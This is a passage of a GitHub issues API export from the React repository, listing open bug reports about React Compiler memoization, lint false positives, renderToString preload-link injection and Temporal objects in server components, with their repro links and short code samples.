bit](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAZQAcIZswBhTANwVIQBMB5e+sASQ3oEs4BDbEslwAlBLzjYAdADFyuALy4AFAEoFAPlzAAOhly50WPMFyEYPBLgC+C3FDAIAKjF70ElDNgQAPbKoDcuvqGOLgQLGDSJAC2-Lb2CEQkZPgCMAhKSjj8CGrymtlekuGsUTCx2CqBegaYoSbi2Fw0ALK8MADWCHg2igkAojSeAIISzQhtnd0eXr4BukG1RrgA2gBmEHD2qTkANLgO2FFbYDteALq2oo2SCWcZ2iAAFlxuj1ULNSF4hjR0TBF7lcxBJbg4WghohBMnlNDoavouGtlIt9PoNicgfJsbhHi83iBcAAfImotElSIxOLYxSPMwWR7E0kItH0xAKHGPRkksn6NmWGm4kAABm5zLRrPM7MFj2FosJPJZfKlAs5IrlXJZanhEv06WwsD0Ot1wV4GFEnFoQjWvAANg5dry0b9aF56AAFFVCLkgR1KtFUO1QBBCKCWtZcDAMP0m-RuOBcWL20PhyPRp3KhAR7wptwRqP0GOxsBQNbZ3NZtOFp02XhgJY4aoSqyfCXfUzpBNgLiYWwAc26noQXZ7GGkMAg0UcPA6+C4AC8Hv7GuNJl0pCQ3DBPRYWpHp3BZwvLAB+E+4YWSYUARiL+g+GDJ7bDhFcbno8Qwr-oADUgxkTEDW1gyEfl9jMYcuG7XsrAfJ86mMXANnKfg3SEF1-j-YCEDKCo3X2ICQKWP43Sw4NrAUJ0MOwHdECUY0TX5FNv3fO9dWgbBCCgbAWnCEMwgiXD+DYiVIy4ni+O9cA+FtBhHhEyVIOgjAFNg6oyVkvAIPLA5sHMDA+2JOxUwLJs0U0g5Sx0nB9MMoljLzKszP0CzCIFYjXQYMiEHUlkAHo-IOAB3LhsDgJ5lApITKi0MkAudOtLEeXholoHgzUeZA4sCiVtK4bxbGorz-1wAAeC9cHPR5AGQCRkpIAakeZzcHiiU3NsNpsCeSReAAIzAJQit-f8HwlVq0V69JeA6Zrxr4BwhXjRM7Uy7LdUmsQZrW00FrpWhEE8XgB1W-ycrREsy3y2xHgAUia7aJqmrbTrRPNeCgW1sCyl6JQ26bZsCltHxZfVDVi-0+HNBBLRgIQ9ODBShto-ihu86L8KdNyFLy7wFIu7MFKWpMwCEAdsAAEUg4nx0nZhSipPwTCihnwM7KDR2sFQ2NretvjMqx9hWMCBPplDsH2FdWnaddihgLdkb3DADyPRd9gxbZsByc44JqUGYD0JQyVK7gqHUJ1gCGunTk1opIYtLdcAAMkdlF-X0Y3mnUSRvdKvyTbN-0VCBiVff9xYHysfwQCsIA) results in completely different variable names being reported (three errors this time: `t3`, `t5` and `t6`).\n\n(Unsure if this is a reporting issue for an otherwise valid deopt or a genuine invalid deopt.)\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.1\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34262/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34232", "id": 3334994763, "node_id": "I_kwDOAJy2Ks7Gx_tL", "number": 34232, "title": "[Compiler Bug]: Object.fromEntries() does not mutate", "user": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-08-19T16:31:53Z", "updated_at": "2025-11-03T20:38:09Z", "closed_at": null, "assignee": null, "author_association": "MEMBER", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBASggIZx4ByEAJggDSkIBmA8gEYBWCVzUMAgCyCDBAFCyrAgF8CrGBAwEAOiBgUq6gNyqAdgYD0RggBU0eADYIAamgYRkBTfoYwwBcgQBuDhBAEAO6WABZeBHiWNgYGeACeWAjm0Xb+EAAKSlieALxEBgQubAD8ztJcvFQAPAASZsIAMvaOAKI2GAj6hAA+BPpQVlYAfHr6RVHWCM5geDBo+gDmY0Vg8DNzC8sGsmMGrFD6VGgQ4xZTLQEAFMSarMyTNsxrcHLO5zaXmdlgAJQF42KeFg4yuhSKBGqdDQPmG4IhkNCAEZhsBHghZNUjMi4YCEcAjAAqAgIMBWBZ4AC00LA5E4Nkp+gQAA8qeSmQRuGBmZTyEikfEjJ1oeRKaFyGBKXByFgoqcCISjLJ4RDqn5HMVWLlgHd5C9tS95EZcQisdDYeDfmNlYZ9CYCMIoHgEABhU5zCBWMDOch0OiebycJ14eUhggYJ3JPChZLqgLFNwITR0AiceIJ9xfWLdRLJR3Ot3dJRerIQHIEfLAcGuTPpZxXO7lNiVPh4OoNZrpdpiLq9fqDEb-XLDFiUGj0BDWvb6A5HOXjfOu93FsA3DNJr5vB2Rwseks-f5VwFwU6zXzpaQVgiCBDSdtNL7dzrdYZXAZDK3ZoqaYEwUEqqEYRNBEiBrDd0iuOMIGkX4bRAyEgzwENbXgopThdck4AAa21K4hxHI9UIhNAZEgi82AAOjgWBXDwf4oOkKiaN7CifE9KBOivAAGFZUNkOCQOA+CI2dFUiixRDkKEyEjHNYDP30G1jFML5GjQWZnDAjwInJM8IBkKDPBCaNw0jVNg1PbMEiSAhVPUvBS3LStwUMgARcg8HIZxiBeDZ5iWHRIlSPytjkABtABdKds1nY55Ts2Ybhc9IwHczyrzCnz1jUEB1AeYKcs3JF1DkCLGB2ZwEocg8ASKE99DPLSADFDjgb0WBPGA6GqWZ-MWZhF13FdHLAML1C0rMQAikd8hvURxDBPECDwitpKKFsqAoxRlFaIs0FJRaiLcjzyAojAZSuK46BO-CCDGpb4OuzyKPRcqHpAhs2Fu6oPjSDU7m1XUiAokGnvII1hjeoiIt+KGQNhlUwuOzyystadvwQX9-yWwCLXe4ANrwCje3mA7mtav4zouq4wte9cYBh1blrE1VBuXT1PCwhB4m1dF5Am9JAa6dwIZZ35YIA2SgLRnZsxZHB8AIBhWHIQZCCqsYQFkIA\n\n### Repro steps\n\nExtracted from #32261 — the example fails to preserve existing memoization bc we assume Object.fromEntries() mutates, when it only captures.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nlatest\n\n### What version of React Compiler are you using?\n\nlatest", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34232/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34217", "id": 3327134038, "node_id": "I_kwDOAJy2Ks7GUAlW", "number": 34217, "title": "Bug: React 19 renderToString() injects <link rel='\"preload\"'> for all <img> tags", "user": { "login": "bbycroft", "id": 4110531, "node_id": "MDQ6VXNlcjQxMTA1MzE=", "avatar_url": "https://avatars.githubusercontent.com/u/4110531?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bbycroft", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2025-08-16T10:28:00Z", "updated_at": "2026-03-03T10:42:17Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Running\n```\nimport { renderToString } from \"react-dom/server\";\nlet str = renderToString(<img src="%5C%22my/image.png%5C%22">);\nconsole.log(str);\n```\nunexpectedly produces the html string:\n```\n<link rel='\"preload\"' as='\"image\"' href="%5C%22my/image.png%5C%22/"><img src="%5C%22my/image.png%5C%22/">\n```\nwhich I'd expect to only occur when I explicitly ask for one via the preload() API. I can't see anywhere in the documentation that suggests that preload links are auto injected based on the simple presence of an img tag, and it seems like surprising behavior.\n\nReact version: 19.1.1\n\n## Steps To Reproduce\n\n1. Run the sandbox or the code above and see that the output matches.\n\nLink to code example:\n\nhttps://codesandbox.io/p/sandbox/react-preload-link-injection-bug-6s7lvq\n\n## The current behavior\n\nThe example produces the string: \n```\n<link rel='\"preload\"' as='\"image\"' href="%5C%22my/image.png%5C%22/"><img src="%5C%22my/image.png%5C%22/">\n```\n\n## The expected behavior\n\nI'd expect the example to produce the string:\n```\n<img src="%5C%22my/image.png%5C%22/">\n```\nsince I did not explicitly ask for a preload link via preload(). This is a notable change from react 18.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34217/reactions", "total_count": 7, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34194", "id": 3317683330, "node_id": "I_kwDOAJy2Ks7Fv9SC", "number": 34194, "title": "[Compiler Bug]: Incorrect behavior when using potentially undefined value in function without optional chaining", "user": { "login": "SampsaKaskela", "id": 13502437, "node_id": "MDQ6VXNlcjEzNTAyNDM3", "avatar_url": "https://avatars.githubusercontent.com/u/13502437?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SampsaKaskela", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-08-13T09:40:47Z", "updated_at": "2025-11-17T19:21:30Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBAilAjAJ4DCANmggHZ4A0BUYCZFlBAvgQBmMCBgIByAAJ4AhozCy4AawD0MBDLh4AtAEdyVcQG4AOo0w58BAIIAPNBDBtidh2ABKCfQgXUIjQTQAc34hETFxGXtHYzMLXEJPTVYidk5qGVpaACNNJVDhUQl1ZNjGMzh-BTSEag48UQBJeVlGRAIAXgIACgBKToA+IjMCAnU8WEYeyoDg5Btojy9yX39AoLYILDwHeQB+eddHT29V2aDe+YAFcLROAB45SiGOoeAR0YIZ6shYdq6jmAAHQZNoIWgAFQgSiYQN+8AQfVM5Smn2+hCwt04nQWbm671RnwIQJJM3WLA+RJJQK2OyqFMJaLkiEh0KY83hiCBDRhjAZRNGAAsNAATChgeYEgWfalk4JA4UyMUwJyUgXU2m7MB7BWi8X8gV8A2jPi9bnCxjdfEEEUyWT8fqvG12mS9ZFqlQqAjSMDaYKMXAINWY0R3BBAuDM8E4vqDYaM0ac8ORsG0bribhUAgAdxkYC+UayCBFBGyvCSWlIBko4jdar47sZ40mBBDGDDyJNyIbZjMKgAVP2CABxJgUO3Fr4QMUEADKEOs7ghBH7KgqVUIHAQo7wABEEAA3NCIXcugASEGhMcdbw+6IIQQQe8Px4Qp-tXS3dQUTRaUaRvaos2MBTF+mQ5Hk3Rqt0OBgGgdLmCKHJ4DAaCMBsBBMDseCUMhqHoZs2xagcBBPGwcFBIwmQkdY2QJLO-qZDe8bSsBUyPs+R4ni6UEJp8xCwLQ8wAAYqIJKgACTALB8G7GgIp8JJwBYfBlB8MJbAYE+grTvM4jDgAohC4jkYxtD8MaAqalUaqjHWjJGmqADaHH7lxb4ugAuh89k9ii94cTubmvu+MiZpQADSCC8F0MGOLJ-jyXhaEYSpOHJehzFSmMT4tk5oniVJMkIfJilSWlanCZ53aNveW5BS+3GyOFADyRFVDGHzFXJSEEAo+EbB8FUZYNqLWfskoEN4VAkU8Rg5aceCzYwvB8GYWV3huqTTbhU3Vm1CFOAtKx4PM6iLQdWqhF0435nsexEH5m0tHtPBRTFao7ZdVQ6jt70EPdD5Pg17mheF71xXBJUimwFX2c91SuY1HkfjUIMheel5KABKKjPeO0AGKMPMTwxsQFFUeZfAkytN5qkjoM8d1iUw5hzCqWw50nd98imZRTGNqMbEsZ8f3RZZhN8mqTAyNktDFvMACEiuQwliEEAAZBrbPYZQvSWdSX3tbzHx+U9jAILYliEIIUBtAhaNPsFTUyLxozM4hI0GsNfUoSlBq3SR2WjDty2UJ2nxcz4S00+HpsGjtdAMMwJHhUnWHrbHIv4-txv5p+nDoy7rV56r0Ow+zOGEYd8OojnPA4lu4XdEbh1sIn9BYbXQu5SBr1UN2faDiOY4wBOBAGQAcruK5rv5W0ALI0KIOAW8w8wVngQIE9Q15xtl97ELasgctACLXY7nGvumkBaY0IomRISa1hH94YJQBN21oux706wcEGgQQPQkyKzhKIBALU8DChgDcLYFAcL9H-njKoEB5ZAloBAII6ZZYQAPAgAB+YoH4JDHLBAGAX71lNhHYW9wRRoAPAQfwSdlAdGAO-T+9tdh8AGMAJMOpLZYDQFQd8+CHpJiBAIoRlAREED0tocQfB7gqDoQeAYNVAICISDaBAggZBQFoIQJefhsD+CwsiEAfAgA\n\n### Repro steps\n\nWhen you run following code it will cause following error despite me not calling function that is calling this part of the code.\n\n`Cannot read properties of undefined (reading 'someOtherProperty')`\n\nWhen compiler is not enabled for this code this component will work fine on initial render. I used onClick event handler in the example but you can use any event handler and this error will happen. I included my generated API because it uses react-query and I'm not 100% sure if problem might be in it since I tried hard-coding some data and problem didn't happen in that case so problem could be in it too.\n\nMy use case is that I have checked the possible undefined value somewhere before calling the function and have determined that calling the function is safe and so use TS non-null assertion.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34194/reactions", "total_count": 8, "+1": 8, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34172", "id": 3311192576, "node_id": "I_kwDOAJy2Ks7FXMoA", "number": 34172, "title": "[Compiler Bug]: Memoization: Compilation skipped because existing memoization could not be preserved", "user": { "login": "amanmahajan7", "id": 1452717, "node_id": "MDQ6VXNlcjE0NTI3MTc=", "avatar_url": "https://avatars.githubusercontent.com/u/1452717?v=4", "gravatar_id": "", "url": "https://api.github.com/users/amanmahajan7", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 13, "created_at": "2025-08-11T18:36:40Z", "updated_at": "2025-11-03T20:38:08Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAUQA8AHBLASwDcEBhCAW2MzLwF5d6F6IAKAMygY42cpgIkyYKrQZMMLHsFwATAIbZVAGlyYaAG3JwA1rgC+ASlzAAOhly50WPMRgREYMAmUARdatzsUJ4Asly8PJasAHxWtvb2MAjYsHYIEhTUAAqu7lIYAOY8ahrmANxxZtoA2sWqALplthWOOLgAFqoYynq0BsYBuEG0qnp6AEaqxjw85NhckTE2dvG6fUYzc-QAdOTKjcum1auGRg3lGBWJyTB2PBX2ADzKVFH38cAubggeXr4aW-RVMQNlwAjE7st4vEnlRcEYEABPVjAWZcHbKUw6DD6E7IiJg9qdbq9E4g+jmTEAelekPi5gpbwelOelBp9n2FnOtgEQhEYjSpAyCGyXw85AKRT8liWCSSKRUfnOphApiAA\n\n### Repro steps\n\n1. Copy the component from the https://react.dev/learn/react-compiler/introduction#before-react-compiler section in the playground\n2. Notice `useMemo` shows a compilation error\n```\nMemoization: Compilation skipped because existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n```\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nlatest (I believe)\n\n### What version of React Compiler are you using?\n\nlatest", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34172/reactions", "total_count": 4, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 4 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34142", "id": 3305346692, "node_id": "I_kwDOAJy2Ks7FA5aE", "number": 34142, "title": "Bug: Temporal objects (from temporal-polyfill, at least) can't be passed to a client component from server component", "user": { "login": "rikbrown", "id": 2906188, "node_id": "MDQ6VXNlcjI5MDYxODg=", "avatar_url": "https://avatars.githubusercontent.com/u/2906188?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rikbrown", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2025-08-08T22:23:05Z", "updated_at": "2026-02-13T10:14:17Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nUsing temporal-polyfill, you can't pass temporal instants (presumably any temporal objects) from a RSC to a client component. I understand this is probably expected and correct, but it is a major pain point as JS transitions to using Temporal for Dates. \n\nThis may only be a limitation of temporal-polyfill and not actual Temporal, but I wanted to get the official feedback on whether this is expected\n\nReact version: 19.1\n\n## Steps To Reproduce\n\n1. Install temporal-polyfill\n2. Instantiate Temporal.Now.instant() (for example) in a RSC and pass in props to a client component\n\n\n## The current behavior\n\n```\nOnly plain objects can be passed to Client Components from Server Components. Temporal.Instant objects are not supported.\n {endTime: Temporal.Instant}\n```\n\n## The expected behavior\n\nYou can pass them, like Dates\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34142/reactions", "total_count": 19, "+1": 13, "-1": 0, "laugh": 0, "hooray": 3, "confused": 0, "heart": 3, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34072", "id": 3281123739, "node_id": "I_kwDOAJy2Ks7Dkfmb", "number": 34072, "title": "[Compiler Bug]: \"Internal error: MethodCall::property must be an unpromoted...\" on specific Math.floor, Math.ceil usages", "user": { "login": "deivshon", "id": 88600810, "node_id": "MDQ6VXNlcjg4NjAwODEw", "avatar_url": "https://avatars.githubusercontent.com/u/88600810?v=4", "gravatar_id": "", "url": "https://api.github.com/users/deivshon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-07-31T16:46:59Z", "updated_at": "2025-11-03T20:38:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBAZgHYEC+pMEGBAOiADZoBGTDZXCAHjvgJwIZMIQBCtANYIyARgIBeAgAoAlEoB8RLgSEixBAG4BDZlARLSZdboIwEeWBQA8AEzRHNwALIm8ABYAdCTMELgqfoFBJmxgKqbmCGpqlC4A9B5ednq5jGSUXDz8uITCohLSsgBMVupaOhT6FcZmFlbktk0OTjCuWd5RwYhozJH+wbHxiRYpaZmemkUFXCCUQA\n\n### Repro steps\n\n1. Save a value computed using a function into a variable in render\n2. Use said variable in one of these expressions in render: `Math.floor(Math.abs(value))` or `Math.ceil(Math.abs(value))`\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1\n\n### What version of React Compiler are you using?\n\nc260b38d0a", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34072/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34046", "id": 3274958010, "node_id": "I_kwDOAJy2Ks7DM-S6", "number": 34046, "title": "[Compiler Bug]: False positive for “impure function during render” inside callback", "user": { "login": "controversial", "id": 10377391, "node_id": "MDQ6VXNlcjEwMzc3Mzkx", "avatar_url": "https://avatars.githubusercontent.com/u/10377391?v=4", "gravatar_id": "", "url": "https://api.github.com/users/controversial", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-07-29T20:50:53Z", "updated_at": "2025-11-03T20:38:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCASggGYA0JZAolVQnHnaQgMICGANnwBGPOAGsCAXwJUYEDAQDkMBCLwKA3AB0AdjoQAPHPgIATajyh9CVKNrZoI2ggFkAngEEsWABQBKIjoEBHCOYITKAI5QCGGUVAQAvPQU1N7alny+WrpOwaGEPNqYPHgIicm8AsJi3t54mAj+CQB8AblBIdqQfAgAdHwQAObeziUAFr0whSZyfgQA1AT1GI3ZQUGR0bHUvXCwytqESZsxeO5FGCUO2gBiUyvehcWlWYGSdADaALqvOUEA9P8CABlPA8Yx4MZlA5mGAEAYQLBvThMFhsWpNVrAN4bBBRU5xXb7BCHconMLnZ7XO48B5PS4vNbrZR4WBOOYtIgENDxbzkvCEvYwA54fxwQqIPiUhnU+4IPl4rYCnZCkVZSRMiSfeklBA-bJvFlsgjpATZCQ6EASIA\n\n### Repro steps\n\nRun eslint-plugin-react-hooks with the react-compiler rule turned on\n\nSee\n```\nError: Cannot call impure function during render\n\n`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render.\n```\n\n\nMath.random() is not called during render, and is only called during a useCallback that is called outside of the component’s render cycle:\n\n\n```ts\nimport { useRef, useEffect, useCallback } from 'react';\n\nexport default function MyApp() {\n const requestRef = useRef<number null>(null);\n\n const animate = useCallback((time: number) => {\n // ⚠️ false positive “impure function called during render” here:\n console.log(Math.random() + time);\n requestRef.current = requestAnimationFrame(animate);\n }, []);\n\n // Start the render loop\n useEffect(() => {\n requestRef.current = requestAnimationFrame(animate);\n return () => { if (requestRef.current) cancelAnimationFrame(requestRef.current); };\n }, [animate]);\n\n return null;\n}\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nreact@19.1.1\n\n### What version of React Compiler are you using?\n\neslint-plugin-react-hooks@0.0.0-experimental-9be531cd-20250729", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34046/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34045", "id": 3274938304, "node_id": "I_kwDOAJy2Ks7DM5fA", "number": 34045, "title": "[Compiler Bug]: False positives “calling setState synchronously within an effect body” with stable primitive values", "user": { "login": 